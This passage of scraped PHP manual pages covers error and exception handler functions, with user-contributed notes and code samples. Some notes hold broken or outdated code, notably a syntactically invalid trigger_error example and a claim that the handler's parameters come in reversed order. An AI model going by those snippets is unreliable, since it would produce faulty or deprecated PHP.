       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this will not be saved

trigger_error('text', E_USER_ERROR);
// prints '!!'
?>

How it should be done:
<?php
class error {
   var $error;

   function error() {
         // dont let PHP know of our error handler yet
   }

   function handler() {
       echo $this->error.'!!';
   }

   function setText($text) {
         $this->error = $text;
   }

   function setIni() {
       set_error_handler(array($this, 'handler'));
   }
}

$eh = new error;
$eh->setText('Error! <br>');  // this WILL work
$eh->setIni();  // call this method when you're ready with configuring the class. All other methods that will be called will have no effect on the errorHandling by PHP

trigger_error('text', E_USER_ERROR);
// prints 'Error! <br>!!'
?>
phpmanual at NO_SPHAMnetebb dot com 15-Nov-2003 08:19
Given this code:

class CallbackClass {
    function CallbackFunction() {
        // refers to $this
    }

    function StaticFunction() {
        // doesn't refer to $this
    }
}

function NonClassFunction() {
}

there appear to be 3 ways to set a callback function in PHP (using set_error_handler() as an example):

1: set_error_handler('NonClassFunction');

2: set_error_handler(array('CallbackClass', 'StaticFunction'));

3: $o =& new CallbackClass();
   set_error_handler(array($o, 'CallbackFunction'));

The following may also prove useful:

class CallbackClass {
    function CallbackClass() {
        set_error_handler(array(&$this, 'CallbackFunction')); // the & is important
    }

    function CallbackFunction() {
        // refers to $this
    }
}

The documentation is not clear in outlining these three examples.
Thomas Staunton 25-Mar-2003 04:11
The best way, I have found to use a class/object as an error handler is to define a class, add your desired error handling function into the constructor and then call set_error_handler() to the name of your function, thats it. e.g.

Class Error {

  Function Error() {
    Function HandleError($n, $m, $f, $l){
      print_r(debug_backtrace());
    }
    set_error_handler('HandleError');
  }
}
bob at db dot org 11-Mar-2003 01:09
The documentation on this page kindly offers the following on using (class) methods as error handlers:

Note:  Instead of a function name, an array containing an object reference and a method name can also be supplied. (Since PHP 4.3.0)

Since that's all it says about the subject, I thought I'd offer a sample implementation to show how this can be used:

<?php

        class error {

                var $conf;
                var $lang;

                function error($conf, $lang) {
                        $this->conf = $conf;
                        $this->lang = $lang;

                        set_error_handler(array(&$this, 'handler'));
                }

                function handler($no, $str, $file, $line, $ctx) {
                        echo '<pre>';
                        echo 'no   : ' . $no . "\n";
                        echo 'str  : ' . $str . "\n";
                        echo 'file : ' . $file . "\n";
                        echo 'line : ' . $line . "\n";
                        echo 'ctx  : ';
                        print_r($ctx);
                        echo '</pre>';
                }

        }
?>
mmtache at yahoo dot com 09-Feb-2003 01:06
The @ operator sets the error_reporting() value to 0.
This means you can use it with your own Error Handler too. for example:

function userErrorHandler($errno, $errmsg, $filename, $linenum, $vars) {
   if (error_reporting())
echo $errmsg;
    }
set_error_handler("userErrorHandler");

function test(){
trigger_error("Error Message", E_USER_WARNING);
}

@test(); // doesn't output anything
roy 12-Jun-2002 04:08
Useful thing to note - if your error handler throws an error in itself, PHP is smart enough to use the deault error handler to handle it. This way, you don't end up in infinite flaming loops of death. This seems to be true, at least, in PHP 4.2.

('Course, there are ways to create your handler to handle even this situation, but it's probably best left this way for general purposes.)
publicmail at macfreek dot nl 31-May-2002 09:34
Note: If you have a custom error handler and use assert(), you MUST set:

assert_options (ASSERT_WARNING, 0);

Otherwise, no output whatsoever will ever be shown if an assert fails.
ned at wgtech dot com 01-Mar-2002 11:52
Just spent two days trying to find some method where a class can handle errors thrown at my convienience. After fighting with the pitfalls of this problem this is what I came up with. Hope it helps someone else save a little time. Its nice because all instances of this class will point to the same array that stores the errors.

class ApplicationObject {
    var $error_List;

    function ApplicationObject() {
        set_error_handler('trapError');
        $this->error_List = &trapError();
    }

}

function &trapError() {
    static $error_Vals = array();

    if (func_num_args()==5) { // Error Event has been passed
        $error_Vals[] = array(    'err_no' => func_get_arg(0), 'err_text' => func_get_arg(1), 'err_file' => func_get_arg(2), 'err_line' => func_get_arg(3), 'err_vars'=>func_get_arg(4));
    }
    if (func_num_args()==0) { // Setup call. Return reference
        return $error_Vals;
    }
}
j dot schriver at vindiou dot com 27-Sep-2000 08:50
A quote from Zeev Suraski:

"The CVS version (scheduled for 4.0.2) of the function has been enhanced:

- The error handler accepts three additional arguments - the filename in  which the error occured, the line number in which the error occured, and the context of the in which the error occured (a hash that points to the active symbol table at the place of the error)."

So, you can now do this:

function myErrorHandler ($errno, $errstr, $errfile, $errline, $errcontext) {...}

[Editor's Note:
The above phrase: "...the context of the in which the error occured (a hash that points to the active symbol table at the place of the error)." may be difficult for new programmers to understand.

What it means is that the last argument passed to your error handler (the $errcontext in the above example) will contain an array that contains the value of every variable that existed in the scope the error was triggered in.

Try the following example to see exactly how this works:

<?php
// Define a simple error handler
function error_handler ($level, $message, $file, $line, $context) {

    echo <<<_END_
An error of level $level was generated in file $file on line $line.
The error message was: $message
The following variables were set in the scope that the error occurred in:

<blockquote>
_END_;

    print_r ($context);
    print "\n</blockquote>";
}

// Set the error handler to the error_handler() function
set_error_handler ('error_handler');

// Make a function and trigger an error
function foo () {
    global $SERVER_ADMIN;
    $bar = 1;

    // Trigger the error in the local scope of the function
    trigger_error ("Some error");
}

foo();

// Now trigger the error in global scope
trigger_error ("Some other error");
?>

-zak@php.net]
restore_exception_handler
set_exception_handler
Error Handling Functions


Sets a user-defined exception handler function

set_error_handler
trigger_error
Error Handling Functions
PHP Manual

set_exception_handler

(PHP 5)

set_exception_handler — Sets a user-defined exception handler function

Description

callback set_exception_handler ( callback $exception_handler )

Sets the default exception handler if an exception is not caught within a try/catch block. Execution will stop after the exception_handler is called.

Parameters

exception_handler

Name of the function to be called when an uncaught exception occurs. This function must be defined before calling set_exception_handler(). This handler function needs to accept one parameter, which will be the exception object that was thrown.

Note:

NULL may be passed instead, to reset this handler to its default state.

Return Values

Returns the name of the previously defined exception handler, or NULL on error. If no previous handler was defined, NULL is also returned. If NULL is passed, resetting the handler to its default state, TRUE is returned.

Examples

Example #1 set_exception_handler() example

<?php
function exception_handler($exception) {
  echo "Uncaught exception: " , $exception->getMessage(), "\n";
}

set_exception_handler('exception_handler');

throw new Exception('Uncaught Exception');
echo "Not Executed\n";
?>

See Also

  • restore_exception_handler() - Restores the previously defined exception handler function
  • restore_error_handler() - Restores the previous error handler function
  • error_reporting() - Sets which PHP errors are reported
  • information about the callback type
  • PHP 5 Exceptions

User Contributed Notes

irijain at hotmail dot com 21-Dec-2010 05:44
In my case solution was simple for "exception thrown without a stack frame in Unknown on line 0" - just added "(string)" before simpleXML value:

<?php
$url = "http://www.example.com/";
$data = file_get_contents($url);
$xml = new SimpleXMLElement($data);
$myValue = (string)$xml->myValue;
?>
pinkgothic at gmail dot com 01-Jun-2010 02:30
If you're handling sensitive data and you don't want exceptions logging details such as variable contents when you throw them, you may find yourself frustratedly looking for the bits and pieces that make up a normal stack trace output, so you can retain its legibility but just alter a few things. In that case, this may help you:

<?php

function exceptionHandler($exception) {

    // these are our templates
    $traceline = "#%s %s(%s): %s(%s)";
    $msg = "PHP Fatal error:  Uncaught exception '%s' with message '%s' in %s:%s\nStack trace:\n%s\n  thrown in %s on line %s";

    // alter your trace as you please, here
    $trace = $exception->getTrace();
    foreach ($trace as $key => $stackPoint) {
        // I'm converting arguments to their type
        // (prevents passwords from ever getting logged as anything other than 'string')
        $trace[$key]['args'] = array_map('gettype', $trace[$key]['args']);
    }

    // build your tracelines
    $result = array();
    foreach ($trace as $key => $stackPoint) {
        $result[] = sprintf(
            $traceline,
            $key,
            $stackPoint['file'],
            $stackPoint['line'],
            $stackPoint['function'],
            implode(', ', $stackPoint['args'])
        );
    }
    // trace always ends with {main}
    $result[] = '#' . ++$key . ' {main}';

    // write tracelines into main template
    $msg = sprintf(
        $msg,
        get_class($exception),
        $exception->getMessage(),
        $exception->getFile(),
        $exception->getLine(),
        implode("\n", $result),
        $exception->getFile(),
        $exception->getLine()
    );

    // log or echo as you please
    error_log($msg);
}

?>

If you're not a fan of sprintf() or the duplicate $exception->getFile() and $exception->getLine() calls you can of course replace that as you like - consider this a mere compilation of the parts.
Anonymous 16-Dec-2009 06:12
Things you should be aware of:

An exception handler handles exceptions that were not caught before. It is the nature of an exception that it discontinues execution of your program - since it declares an exceptional situation in which the program cannot continue (except you catch it).

Since it has not been catched your code signals it is not being aware of the situation and cant go on.

This implies: returning to the script is simply impossible when the exception handler has already been called, since an uncaught exception is not a notice. use your own debug- or notice-log-system for things like that.

Furthermore: While is is still possible to call functions from your script, since the exception handler has already been called exceptions bubbling from that piece of code won't trigger the exception handler again. php will die without leaving any information apart form "uncaught exception with unknown stack frame". So if you call functions from your script, make sure that you catch any exceptions that possibly occur via try..catch inside the exception handler.

For those of you who misinterpreted the essential meaning of the exception handler: it's only use is to handle the abortion of your script gracefully, e.g. in a project like facebook or wikipedia: render a nice error page, eventually hiding information which shall not leak into the public (instead you may want to write to your log or mail the sys-admin or stuff like that).

In other words: Redirecting all php-errors form an error-handler using exceptions - including notices - is a very dumb idea, if you do not intend having your script aborted everytime you didn't set a variable (for example).

my 2 cents.
Anonymous 10-Dec-2009 06:09
When an uncaught exception is handled, execution does NOT return to the script, but rather (unexpectedly, on my end anyway) terminates.

I am using set_error_handler() and set_exception_handler() in conjunction for a system I am currently developing (on v5.3.0 with Xampp). Lets say two E_USER_NOTICES are triggered, the script will die after the first one is processed.

<?php
    set_exception_handler( 'exc_handler' );
    function exc_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
    }
    function errorone() {
        throw new Exception("Test 1");
    }
    function errortwo() {
        throw new Exception("Test 2");
    }
    function test() {
        errorone();
        errortwo();
    }
    test();
    test();
?>

Instead of printing (as I'd expect) "Uncaught exception: Text 1\nUncaught exception: Text 2\nUncaught exception: Text 1\nUncaught exception: Text 2\n"

It is only printed ONCE. I've tried a number of different things, but I can't figure out how to return execution to the script after the EXCEPTION HANDLER has run.

If anyone has a solution on how to return execution (hence, allow the script to log uncaught exceptions but continue processing) then PLEASE email me! Thanks!
joshua dot boyle-petrie at its dot monash dot edu 08-Jan-2009 11:44
Thanks to mastabog we know that throwing an exception within the exception handler will trigger a fatal error and a debugging nightmare.  To avoid throwing an exception within there should be easy.

However, if you use a custom error handler to convert errors to ErrorExceptions suddenly there are a multitude of new ways to accidentally throw exceptions within the exception handler.

<?php
function error_handler($code, $message, $file, $line)
{
    if (0 == error_reporting())
    {
        return;
    }
    throw new ErrorException($message, 0, $code, $file, $line);
}
function exception_handler($e)
{
    // ... normal exception stuff goes here
    print $undefined; // This is the underlying problem
}
set_error_handler("error_handler");
set_exception_handler("exception_handler");
throw new Exception("Just invoking the exception handler");
?>
Output: Fatal error: Exception thrown without a stack frame in Unknown on line 0

The best way I have found to avoid this is to wrap up everything in the exception handler in a try/catch block.
<?php
function exception_handler($e)
{
    try
    {
        // ... normal exception stuff goes here
        print $undefined; // This is the underlying problem
    }
    catch (Exception $e)
    {
        print get_class($e)." thrown within the exception handler. Message: ".$e->getMessage()." on line ".$e->getLine();
    }
}
?>
Output: ErrorException thrown within the exception handler. Message: Undefined variable: undefined on line 14

This speeds up debugging and offers some scalability to any other exceptions accidentally thrown within the exception handler.

Another solution is to restore the error handler at the beginning of the exception handler.  While this is a silver bullet in terms of avoiding the ErrorExceptions, debugging messages then rely on the error_reporting() level and the display_errors directive.  Why mention this?  It might be preferable for production code since we care more about hiding errors from users than convenient debugging messages.
marques at displague dot com 14-Apr-2008 07:19
frank,

Your exception handler is configured to be the handler for all exceptions, yet if a basic 'Exception' is thrown, your static method will error because 'Exception's do not have 'getException'.  Because of this I don't see a real purpose to making the uncaught handler a class that extends Exception.

I do like the idea of using static methods of a general Exception handling class.

<?php
class ExceptionHandler {
    public static function printException(Exception $e)
    {
        print 'Uncaught '.get_class($e).', code: ' . $e->getCode() . "<br />Message: " . htmlentities($e->getMessage())."\n";
    }

    public static function handleException(Exception $e)
    {
         self::printException($e);
    }
}

set_exception_handler(array("ExceptionHandler", "handleException"));

class NewException extends Exception {}
try {
  throw new NewException("Catch me once", 1);
} catch (Exception $e) {
  ExceptionHandler::handleException($e);
}

throw new Exception("Catch me twice", 2);
?>

Gives:
Uncaught NewException, code: 1<br />Message: Catch me once
Uncaught Exception, code: 2<br />Message: Catch me twice

There are much more interesting things that can be done like reformating and optionally displaying or emailing them.  But this class acts a nice container for those functions.
frank at netventures dot com dot au 05-Nov-2007 10:10
Hey all, i've just started to use the exception suite instead of the normal PHP error suite. For those of you looking for an object orientated way to do this without looking down at Glen and Sean's examples (Lesson 1: ALWAYS read the logs!), here you go:

<?php

class NewException extends Exception
{
    public function __construct($message, $code=NULL)
    {
        parent::__construct($message, $code);
    }

    public function __toString()
    {
        return "Code: " . $this->getCode() . "<br />Message: " . htmlentities($this->getMessage());
    }

    public function getException()
    {
        print $this; // This will print the return from the above method __toString()
    }

    public static function getStaticException($exception)
    {
         $exception->getException(); // $exception is an instance of this class
    }
}

set_exception_handler(array("NewException", "getStaticException"));
throw new NewException("Catch me!!!", 69);

?>

Let me know if i'm missing something obvious as I left my glasses at home and I just came back from the Melbourne cup (If I won then I wouldn't be at work still!).
bhyoram at zahav dot net dot il 11-Jul-2007 09:33
to do it in command-line, use this :
echo '<?php function ff ($exception) { printf ("I am a handler, got %s\n",$exception->getMessage ()) ;} set_exception_handler ("ff") ; throw new Exception ("blabla") ; echo "This is bad\n" ;' | php
parazuce at gmail dot com 09-Jul-2007 03:41
I've been messing around with this function, and have noticed you can pass an anonymous function (created with create_function()) through as the default handler, for example:

set_exception_handler(create_function('$e', 'exit("An unknown error occurred");'));

That snippet of code can be used if you simply want to suppress all exceptions that are not handled.  This can be a great thing, because secure data could possibly be leaked otherwise (for example, the default exception handler could output a snippet of your SQL code that was involved with the exception being thrown).

You will want to use this wisely, however (if at all).
reg dot php dot manual at entropy dot ch 09-May-2007 06:59
In my experience, the static keyword is crucial for error handlers which are methods of a class instead of free-standing functions.

    static function exceptionHandler($exception)

works but

    function exceptionHandler($exception)

doesn't and results in a "Fatal error: Exception thrown without a stack frame in Unknown on line 0" message.

"public" is optional as it is the default anyway (but it is probably clearer to write it explicitly).
Glen 03-Mar-2007 12:34
If you want a class instance to handle the exception, this is how you do it :

<?php
class example {
   public function __construct() {
       @set_exception_handler(array($this, 'exception_handler'));
       throw new Exception('DOH!!');
   }

   public function exception_handler($exception) {
       print "Exception Caught: ". $exception->getMessage() ."\n";
   }
}

$example = new example;

?>

See the first post (Sean's) for a static example.  As Sean points out, the exception_handler function must be declared public.
mastabog at hotmail dot com 08-Aug-2006 07:44
A behaviour not documented or discussed enough, yet pretty common is that is that if an exception is thrown from the global exception handler then a fatal error occurs (Exception thrown without a stack frame). That is, if you define your own global exception handler by calling set_exception_handler() and you throw an exception from inside it then this fatal error occurs. It is only natural though, as the callback defined by set_exception_handler() is only called on uncaught (unhandled) exceptions so if you throw one from there then you get this fatal error as there is no exception handler left (you override the php internal one by calling set_exception_handler()), hence no stack frame for it.

Example:

<?php

function myExceptionHandler (Exception $ex)
{
    throw $ex;
}

set_exception_handler("myExceptionHandler");

throw new Exception("This should cause a fatal error and this message will be lost");

?>

Will cause a Fatal error: Exception thrown without a stack frame

If you skip/comment the set_exception_handler("...") line then the internal PHP global handler will catch the exception and output the exception message and trace (as string) to the browser, allowing you to at least see the exception message.

While it is a very good idea to always define your own global exception handler by using the set_exception_handler() function, you should pay attention and never throw an exception from it (or if you do then catch it).

Finally, every serious coder should use an IDE with debugging capabilities. Tracking down an error like this becomes a trivial matter by using simple debugging "Step into" commands (I for one recommend Zend IDE v5.2 at the moment of this writing). I have seen numerous messages on the internet with people wondering why this message pops up.

Cheers

p.s. Other causes for this error which are somehow unrelated to this is when you throw an exception from a destructor (the reasons behind that are similar though, the global handler might no longer exist due to the php engine shutting the page down).
mc-php-doco at oak dot homeunix dot org 07-Apr-2006 09:41
This seems not to work when calling the PHP binary with the '-r' flag.

For example, if I run it like this:

    php -r '
      function exception_handler($exception) {
        echo "Uncaught exception: " , $exception->getMessage(), "\n";
      }

      set_exception_handler("exception_handler");

      throw new Exception("Uncaught Exception");
      echo "Not Executed\n";
    '

Or if I place it in a file and run it like this:

    php -r 'include "./tmp.php";'

I get a stack trace instead of having the function 'exception_handler' called.  If run it like this:

    php tmp.php

It works fine.

(Why run code from '-r'?  Sometimes it's useful to add stuff around the include like calls to microtime for benchmarks, or to include a library and then call a few functions from the library, all in an ad-hoc way without having to create new files.)

PHP versions 5.1.2 and 5.0.4.
ch at westend dot com 21-Feb-2006 07:06
It seems that although the Exception contains a backtrace itself, the stack for the debug_backtrace() function is empty when entering an exception handler. This is very inconvinient. See bug #36477.
sean at seanodonnell dot com 23-Oct-2005 04:48
Using the 'set_exception_handler' function within a class, the defined 'exception_handler' method must be declared as 'public' (preferrable 'public static' if you use the "array('example', 'exception_handler')" syntax).

<?php
class example {
    public function __construct() {
        @set_exception_handler(array('example', 'exception_handler'));
        throw new Exception('DOH!!');
    }

    public static function exception_handler($exception) {
        print "Exception Caught: ". $exception->getMessage() ."\n";
    }
}

$example = new example;

echo "Not Executed\n";
?>

Declaring the 'exception_handler' function as 'private' causes a FATAL ERROR.

[derick: red. updated statement about static a bit]
set_error_handler
trigger_error
Error Handling Functions


Generates a user-level error/warning/notice message

set_exception_handler
user_error
Error Handling Functions
PHP Manual

trigger_error

(PHP 4 >= 4.0.1, PHP 5)

trigger_error — Generates a user-level error/warning/notice message

Description

bool trigger_error ( string $error_msg [, int $error_type = E_USER_NOTICE ] )

Used to trigger a user error condition, it can be used by in conjunction with the built-in error handler, or with a user defined function that has been set as the new error handler (set_error_handler()).

This function is useful when you need to generate a particular response to an exception at runtime.

Parameters

error_msg

The designated error message for this error. It's limited to 1024 characters in length. Any additional characters beyond 1024 will be truncated.

error_type

The designated error type for this error. It only works with the E_USER family of constants, and will default to E_USER_NOTICE.

Return Values

This function returns FALSE if wrong error_type is specified, TRUE otherwise.

Examples

Example #1 trigger_error() example

See set_error_handler() for a more extensive example.

<?php
if ($divisor == 0) {
    trigger_error("Cannot divide by zero", E_USER_ERROR);
}
?>

Notes

Warning

HTML entities in error_msg are not escaped. Use htmlentities() on the message if the error is to be displayed in a browser.

See Also

  • error_reporting() - Sets which PHP errors are reported
  • set_error_handler() - Sets a user-defined error handler function
  • restore_error_handler() - Restores the previous error handler function
  • The error level constants

User Contributed Notes

PhpMyCoder 15-Jul-2010 03:18
For those of you looking to use your own file or line number in the error (possibly using debug_backtrace()) instead of the ones created by trigger_error(), here is a solution:
Create a custom function to handle E_USER_ERRORs that simply outputs the error type and message, while excluding the line number and file trigger_error() reports. You may also configure it to handle user warnings and notices if necessary (I did in the example below).

<?php
function error_handler($level, $message, $file, $line, $context) {
    //Handle user errors, warnings, and notices ourself
    if($level === E_USER_ERROR || $level === E_USER_WARNING || $level === E_USER_NOTICE) {
        echo '<strong>Error:</strong> '.$message;
        return(true); //And prevent the PHP error handler from continuing
    }
    return(false); //Otherwise, use PHP's error handler
}

function trigger_my_error($message, $level) {
    //Get the caller of the calling function and details about it
    $callee = next(debug_backtrace());
    //Trigger appropriate error
    trigger_error($message.' in <strong>'.$callee['file'].'</strong> on line <strong>'.$callee['line'].'</strong>', $level);
}

//Use our custom handler
set_error_handler('error_handler');

//-------------------------------
//Demo usage:
//-------------------------------
function abc($str) {
    if(!is_string($str)) {
        trigger_my_error('abc() expects parameter 1 to be a string', E_USER_ERROR);
    }
}

abc('Hello world!'); //Works
abc(18); //Error: abc() expects parameter 1 to be a string in [FILE].php on line 31
?>

This is a pretty simple concept and I'm sure most of you know this, but for those that don't, let it serve as a good example!
tudor AT iccblue DOT com DOT nospam 15-Oct-2009 08:07
It actually turns out - at least on PHP 5.2.6 on XAMPP (Windows) that for the custom error handler, you will need to set $errorType as the first parameter, and only the second parameter as $message, i.e. in reverse order compared to how the manual states it now.
Howard Yeend 05-Jul-2009 04:39
trigger_error always reports the line and file that trigger_error was called on. Which isn't very useful.

eg:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
if(is_numeric($var)) {
 /* do some stuff*/
} else {
 trigger_error('var must be numeric');
}
}
?>

will output "Notice: var must be numeric in functions.php on line 6"
whereas "Notice: var must be numeric in main.php on line 4" would be more useful

here's a function to do that:

<?php

function error($message, $level=E_USER_NOTICE) {
$caller = next(debug_backtrace());
trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

So now in our example:

main.php:
<?php
include('functions.php');
$x = 'test';
doFunction($x);
?>

functions.php:
<?php
function doFunction($var) {
    if(is_numeric($var)) {
         /* do some stuff*/
    } else {
         error('var must be numeric');
    }
}

function error($message, $level=E_USER_NOTICE) {
    $caller = next(debug_backtrace());
    trigger_error($message.' in <strong>'.$caller['function'].'</strong> called from <strong>'.$caller['file'].'</strong> on line <strong>'.$caller['line'].'</strong>'."\n<br />error handler", $level);
}
?>

now outputs:

"Notice: var must be numeric in doFunction called from main.php on line 4"

http://www.puremango.co.uk
webmaster at paramiliar dot com 03-Jan-2008 11:11
We wanted to be able to pass an SQL query to the error handler on our site so we could monitor SQL problems, you cant do this through normal methods so we came up with this bridge script that 100% works

<?php

function myErrorHandler($errno, $errstr, $errfile, $errline){
    switch ($errno) {
    case E_USER_ERROR:
        if ($errstr == "(SQL)"){
            // handling an sql error
            echo "<b>SQL Error</b> [$errno] " . SQLMESSAGE . "<br />\n";
            echo "Query : " . SQLQUERY . "<br />\n";
            echo "On line " . SQLERRORLINE . " in file " . SQLERRORFILE . " ";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        } else {
            echo "<b>My ERROR</b> [$errno] $errstr<br />\n";
            echo "  Fatal error on line $errline in file $errfile";
            echo ", PHP " . PHP_VERSION . " (" . PHP_OS . ")<br />\n";
            echo "Aborting...<br />\n";
        }
        exit(1);
        break;

    case E_USER_WARNING:
    case E_USER_NOTICE:
    }
    /* Don't execute PHP internal error handler */
    return true;
}

// function to test the error handling

function sqlerrorhandler($ERROR, $QUERY, $PHPFILE, $LINE){
    define("SQLQUERY", $QUERY);
    define("SQLMESSAGE", $ERROR);
    define("SQLERRORLINE", $LINE);
    define("SQLERRORFILE", $PHPFILE);
    trigger_error("(SQL)", E_USER_ERROR);
}

set_error_handler("myErrorHandler");

// trigger an sql error
$query = "SELECT * FROM tbl LIMIT 1";
$sql = @mysql_query($query)
    or sqlerrorhandler("(".mysql_errno().") ".mysql_error(), $query, $_SERVER['PHP_SELF'], __LINE__);

?>
richard at 2006 dot atterer dot net 03-Apr-2006 09:28
Beware, trigger_error() is absolutely useless for transporting your own function's error messages in $php_errormsg:

ini_set('track_errors', TRUE);
function x() { trigger_error('MY ERROR'); }
@x();
echo "Error 1: \\"$php_errormsg\\"\\n";
@file_get_contents('/nonexisting');
echo "Error 2: \\"$php_errormsg\\"\\n";

This outputs:

Error 1: ""
Error 2: "failed to open stream: No such file or directory"

This behaviour is consistent with the description of $php_errormsg, which says that the variable will only be available within the scope in which the error occurred. The problem can be worked around with a custom error handler like the one below. However, I'm undecided whether changing the language in this way is good:

function errHandler($errno, $errstr, $errfile, $errline) {
  global $php_errormsg; $php_errormsg = $errstr;
}
set_error_handler('errHandler');
mano at easymail dot hu 26-Apr-2005 05:13
I am not so familiar with this but I think you can reach some of the functionality of try..catch with this function. I would disagree or correct the previous note. The @ is not the catch, it sets the error_reporting to 0 tempolary but with set_error_handler you can try to imitate some behavior like catch.
I've just made this to try if it possible, I never tried in projects but I think could work in php 4. Actually if you want to have the Trace of the error you need to use php4.3+.
Maybe not many of you will create new scripts in php4 and try to have some features from php5 but in some cases (extending older projects) this could be better error handling.

If this is a wrong approach, waiting for comments, if its not, use it!

<?
function catch($errno, $errstr, $errfile, $errline){
    $GLOBALS['throw'] = $errstr;
    $GLOBALS['throw_info'] = array(
        'Message'=>$errstr
        ,'Code'=>$errno
        ,'Line'=>$errline
        ,'File'=>$errfile
        ,'Trace'=>debug_backtrace()
    );

}
set_error_handler('catch');

function badgirl(){
    if(true){ //error occure
        trigger_error("BadGirlWithError",E_USER_NOTICE); // as throw with notice
        return; // ...because trigger_error does not stop the function
    }else{
       return true;
    }
}

// Try
$GLOBALS['throw'] = null; // ...try...
$sheis = badgirl(); //could be @badgirl, display_errors is something else, this just the handling
// ..try
if($GLOBALS['throw']){  // This actually catch re-throws too...
    switch($GLOBALS['throw']){ // Catch
        case 'GoodGirlException':
            die('No bad girl today!');
        break;
        case 'BadGirlWithError':
            die('Bad girl has some error');
        break;
        default:
            return; // or you can make another trigger_error and re-throw another 'exception' or some other action
    }
}
echo "You will never see this line - @ only supress message, not a control flow";
echo "Wrong! You could see this:)";

?>

.mano
dzn'tM@ter 20-Jan-2004 09:05
Some might think that trigger_error is like a throw() or an err.raise construction, and @ works like catch(){} one - in fact it's NOT.

function badgirl(){
    trigger_error("shame on me",E_USER_ERROR);
    return true;
}

$sheis = @badgirl();
echo "You will never see this line - @ only supress message, not a control flow";
robert at klugher dot com 23-Sep-2003 05:12
This one took me some time ...

When you use trigger_error with your own error handler, the class instances are destroyed (don't know how to say it better, I am not an expert).

So, if you try to call a class function from within the error handler function, you will get 'Call to a member function on a non-object' error, even if this function works perfectly in the rest of your script.

Solution : re-use the xxx = new yyy to re-create the instance in the beginning of your error handler ... and then you can call the class functions you want !
mail at dooley dot cjb dot net 29-Jul-2003 07:16
i recently began using a custom error handling class. the biggest problem is that, with call time pass by reference deprecated, you can't manipulate the error handler class after assigning at as the error handler (and it appears not to be returned by the set_error_handler method as the old error handler). my goal was to be able to store up all my non-fatal errors and print them at the end of script execution. that way i can use 'trigger_error' (which i actually have wrapped in a static method ErrorHandler::throwException for portability purposes... which is a pain because it always has the same line number information!!) for all kinds of errors, including user input erros. so when i check a user's password, for instance i would trigger a warning that said 'incorrect password'. of course i would only want this to print out the error once the script had completed.

so in my error handler class i have the following in the constructor:

function ErrorHandler()
{
    $this->error_messages  = array();
    error_reporting (E_ALL);
    set_error_handler(array($this,"assignError"));
}

and my assignError method:
//accept the required arguments
function assignError($errno, $errstr, $errfile, $errline)
{
    //get the error string
    $error_message = $errstr;
//if in debug mode, add line number and file info
 if(ErrorHandler::DEBUG())
 $error_message .= "<br>".basename($errfile).",line: ".$errline;

            switch ($errno)
            {
                //if the error was fatal, then add the error
                //display an error page and exit
                case ErrorHandler::FATAL():
                    $this->setType('Fatal');
                    $this->addError($error_message);
                    Display::errorPage($this->errorMessages());
                    exit(1);
                break;
                //if it was an error message, add a message of
                //type error
                case ErrorHandler::ERROR():
                    $this->setType('Error');
                    $this->addError($error_message);
                break;
                //if it was a warning, add a message of type
                //warning
                case ErrorHandler::WARNING():
                    $this->setType('Warning');
                    $this->addError($error_message);
                break;
                //if it was some other code then display all
                //the error messages that were added
                default:
                    Display::errorRows($this->errorMessages());
                break;
            }
            //return a value so that the script will continue
            //execution
            return 1;
}

the key part there is the 'default' behaviour. i found that if i call trigger_error with anything other than E_USER_ERROR, E_USER_WARNING or E_USER_NOTICE, then error code '2' is passed to the handler method. so when it is time to print all my non-fatal errors, like 'password and confirm password don't match' or something, i call ErrorHandler::printAllErrors()

        function printAllErrors()
        {
            trigger_error("",2);
        }

which leads to the default behaviour in my switch statement in the assignError method above. the only problem with this is that the weird bug 'Problem with method call' that occurs with some static method calls (that one person on the bug lists said was fixed and another said wouldn't be fixed until version 5) also produces error code 2!! i have just taken to suppressing these errors with @, because despite the alledged problem with the method call, the script still seems to execute fine.

iain.
someone at attbi dot com 23-May-2003 09:24
sl0th, the idea is never to give out file names, line numbers, and cryptic codes to the user. Use trigger_error() after you used set_error_handler() to register your own callback function which either logs or emails the error codes to you, and echo a simple friendly message to the user.

And turn on a more verbose error handler function when you need to debug your scripts. In my init.php scripts I always have:

if (_DEBUG_) {
    set_error_handler ('debug_error_handler');
}
else {
    set_error_handler ('nice_error_handler');
}
sl0th at r00thell dot ath dot cx 20-May-2003 07:25
Well this is a good way on debuging your php scripts, but i wouldn't feel
too comfortable by giving out my web servers structure.
Notice that what helps you finding and isolating errors in your php helps also a potential attacker.
Or maybe i am just paranoid, but its worth mention it.
ceo at l-i-e dot com 28-Oct-2002 05:20
You should be using set_error_handler (possibly in conjuction with error_log and/or trigger_error) if you want FILE and LINE number information.
You don't need macros for this.
jason at lehighweb dot com 16-Jul-2001 12:28
Fatal error: Cannot divide by zero in
/home/phpwebmaster/public_html/test2.php on line 11

That almost looks evil, doesn't it?  Except that I made PHP print that out.

You see, most of use apply echo() style error checking in PHP, when in fact we could be using the trigger_error() function.

For example:

<?php
$divisor =;
if (assert ($divisor =0))
   trigger_error ("Cannot divide by zero", E_USER_ERROR);
?>

That will print out a PHP like error, making it easy to find errors in your logic.  It will print out the page, and the line number that the trigger_error() function is called on.  A handly little tool in debugging, as well as controlling error messages.  It also looks much more
prefossional than

echo "Cannot divide by zero"

Happy coding!

Note: This was taken directy from the PHP Newsletter located here: http://www.newbienetwork.net
set_exception_handler
user_error
Error Handling Functions


Alias of trigger_error

trigger_error
htscanner
Error Handling Functions
PHP Manual

user_error

(PHP 4, PHP 5)

user_error — Alias of trigger_error()

Description

This function is an alias of: trigger_error().

User Contributed Notes

There are no user contributed notes for this page.
trigger_error
htscanner
Error Handling Functions


htaccess-like support for all SAPIs

  • Introduction
  • Installing/Configuring
    • Requirements
    • Installation
    • Runtime Configuration
    • Resource Types

User Contributed Notes

There are no user contributed notes for this page.
user_error
Introduction
Affecting PHP's Behaviour


Introduction

The htscanner extension gives the possibility to use htaccess-like file to configure PHP per directory, just like apache's htaccess. It is especially useful with fastcgi (ISS5/6/7, lighttpd, etc.).

User Contributed Notes

There are no user contributed notes for this page.
